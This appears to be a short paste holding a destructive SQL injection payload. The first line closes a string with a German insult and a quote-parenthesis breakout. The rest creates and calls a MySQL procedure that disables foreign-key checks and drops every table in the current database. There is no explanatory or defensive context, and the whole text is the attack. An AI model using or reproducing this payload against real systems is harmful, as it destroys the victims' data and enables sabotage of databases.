xpupwr0D

1ficken sie sich bitte hart');
2DROP PROCEDURE IF EXISTS `drop_all_tables`;
3
4DELIMITER $$
5CREATE PROCEDURE `drop_all_tables`()
6BEGIN
7    DECLARE _done INT DEFAULT FALSE;
8    DECLARE _tableName VARCHAR(255);
9    DECLARE _cursor CURSOR FOR
10        SELECT table_name 
11        FROM information_schema.TABLES
12        WHERE table_schema = SCHEMA();
13    DECLARE CONTINUE HANDLER FOR NOT FOUND SET _done = TRUE;
14
15    SET FOREIGN_KEY_CHECKS = 0;
16
17    OPEN _cursor;
18
19    REPEAT FETCH _cursor INTO _tableName;
20
21    IF NOT _done THEN
22        SET @stmt_sql = CONCAT('DROP TABLE ', _tableName);
23        PREPARE stmt1 FROM @stmt_sql;
24        EXECUTE stmt1;
25        DEALLOCATE PREPARE stmt1;
26    END IF;
27
28    UNTIL _done END REPEAT;
29
30    CLOSE _cursor;
31    SET FOREIGN_KEY_CHECKS = 1;
32END$$
33
34DELIMITER ;
35
36call drop_all_tables();